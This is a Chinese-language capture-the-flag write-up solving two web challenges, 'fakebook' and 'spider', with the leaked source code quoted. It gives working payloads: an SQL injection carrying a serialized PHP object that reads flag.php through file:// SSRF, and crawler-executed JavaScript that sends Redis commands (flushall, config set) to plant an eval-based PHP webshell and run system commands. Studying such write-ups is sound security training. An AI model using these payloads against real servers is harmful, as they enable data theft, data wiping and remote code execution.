fakebook
访问 robots.txt
得到泄露的文件 user.php.bak
:
Disallow: /user.php.bak
Sitemap: http://domain.com/sitemap.xml
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
测试页面功能,可以猜测 view.php?no=xxx
处存在 sql 注入的问题:
可以看到此时页面会报 unserialize() 的相应错误,那么可以做一个合理的猜测,页面会将从 mysql 中取出的数据,并将数据反序列化后再填充到页面上
而此时应该会调用 getBlogContents()
函数,那么这里必然存在一个 SSRF 的问题,我们只要构造 payload 使得其访问 /var/www/html/flag.php
即可
那么我们可以尝试构造相应序列化数据作为 payload:O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:24;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最后 payload 如下:
http://80be5985cb9c4234bd4d0459d6a7f7238f336e1e2c514d60.game.ichunqiu.com/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:24;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%23
查看源代码即可获得 base64 编码后的 flag,解码即可得到 flag{a004021a-5f34-4692-b9b2-f5b50e6c095f}
:
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3thMDA0MDIxYS01ZjM0LTQ2OTItYjliMi1mNWI1MGU2YzA5NWZ9IjsNCmV4aXQoMCk7DQo='>
我们可以通过相同的方式获得 view.php
的源码来加深我们的理解:
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php
$db = new DB();
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title>
<?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);
?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>
<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php
$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}
else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}
// var_dump($user->getBlogContents());
?>
</div>
</body>
</html>
非常悲伤的在本题陷入误区了,选择了绕过 isValidBlog
,构造 url 使其指向 127.0.0.1
但最后仍然不能访问到相应文件,想来是禁止了 http 协议的访问(😭
spider
首先尝试访问 robots.txt
,发现存在 /get_sourcecode
页面,但页面提示 NOT 127.0.0.1
,由此可以推测可能需要通过其他方式使得服务器去访问该网址
那么我们从网址提供的功能入手:
根据提示我们可以知道该网站提供的是动态爬虫的功能,简单说该页面可以抓取动态网页,那么显然我们可以在我们提交的 html 文件中写入 js 代码,js 代码在服务器访问的过程中会被执行:
<html>
<body>
<a id='test' href="">1</a>
<script src="http://127.0.0.1/vendor/jquery-1.11.1.min.js"></script>
<script>
$.get('http://127.0.0.1/get_sourcecode', function(data){
document.getElementById("test").innerHTML=data;
});
</script>
</body>
</html>
可以看到服务器访问 get_sourcecode
并在相应页面上输出内容:
获得源代码如下:
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__ , static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''
@app.errorhandler(404)
def page_not_found(error):
return '404'
@app.errorhandler(500)
def internal_server_error(error):
return '500'
@app.errorhandler(403)
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
根据代码中的提示,我们可以发现我们需要利用的是 redis 的未授权访问来写一个 webshell
在本题中,redis 服务确实在运行,但我们直接访问 6379 端口可能会出错,但不影响我们来写 payload
根据提示我们知道 8000 端口存在着 apache2 的服务(当然是只开放给 127.0.0.1 的),那么我们可以尝试通过 redis 来写一下 php 的 webshell 然后通过在通过服务端的访问来触发(这里吐槽一句开端口这种事情不给 hint 的话要扫到猴年马月😓
下面就是 payload 时间:
<html>
<body>
<a id='test' href="">level=low_273eac1c</a>
<script>
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}
else {
xmlhttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0", "flushall" + "\n" + "config set dir /var/www/html/" + "\n" + "config set dbfilename shell.php" + "\n" + 'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"' + "\n" + "save" + "\n" + "quit");
xmlhttp.open("POST", "http://127.0.0.1:6379", true);
xmlhttp.send(formData);
</script>
</body>
</html>
<html>
<body>
<a id='test' href="">1</a>
<script src="http://127.0.0.1/vendor/jquery-1.11.1.min.js"></script>
<script>
$.get('http://127.0.0.1:8000/shell.php?_=system("cat flag.php");', function(data){
document.getElementById("test").innerHTML=data;
});
</script>
</body>
</html>
还是太菜了(哭泣😭